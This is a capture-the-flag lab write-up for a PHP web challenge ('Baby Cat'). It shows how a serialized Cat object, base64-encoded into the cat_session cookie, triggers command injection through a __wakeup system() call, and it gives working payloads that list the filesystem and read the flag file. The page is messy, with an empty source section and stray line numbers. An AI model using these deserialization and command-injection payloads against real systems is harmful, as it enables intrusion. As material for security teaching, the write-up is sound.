Simple Web 0x17(Lab - Baby Cat)
tags: NTUSTWS CTF Web
Challenge: http://h4ck3r.quest:8601/
Background
Source code
1 |
|
Exploit - deserialize
- Use psysh to test payload: In local side, if you haven’t install
cowsay, the payload should be'||ls -al'1
2
3
4
5$ ./psysh > system("cowsay 'Welcome back, '||pwd''"); sh: 1: cowsay: not found /home/sbk6401 = "/home/sbk6401" - Construct testing case
1
2
3
4
5
6
7
8
9
10
11
12$ ./psysh > class Cat{ . public $name = '(guest cat)'; . function __construct($name){$this->name = $name;} . function __wakeup(){system("cowsay 'Welcome back, $this->name'");}} > $cat = new Cat("'&&ls -al /'") = Cat {#2785 +name: "'&&ls -al /'", } > base64_encode(serialize($cat)) = "TzozOiJDYXQiOjE6e3M6NDoibmFtZSI7czoxMjoiJyYmbHMgLWFsIC8nIjt9"Then change
cat_sessiontoTzozOiJDYXQiOjE6e3M6NDoibmFtZSI7czoxMjoiJyYmbHMgLWFsIC8nIjt9and we’ll get the response
- Get flag
1
2
3
4
5
6
7> $cat = new Cat("'&&cat /flag_5fb2acebf1d0c558'") = Cat {#2789 +name: "'&&cat /flag_5fb2acebf1d0c558'", } > base64_encode(serialize($cat)) = "TzozOiJDYXQiOjE6e3M6NDoibmFtZSI7czozMDoiJyYmY2F0IC9mbGFnXzVmYjJhY2ViZjFkMGM1NTgnIjt9"Again! Modify
cat_sessiontoTzozOiJDYXQiOjE6e3M6NDoibmFtZSI7czozMDoiJyYmY2F0IC9mbGFnXzVmYjJhY2ViZjFkMGM1NTgnIjt9then we’ll get flag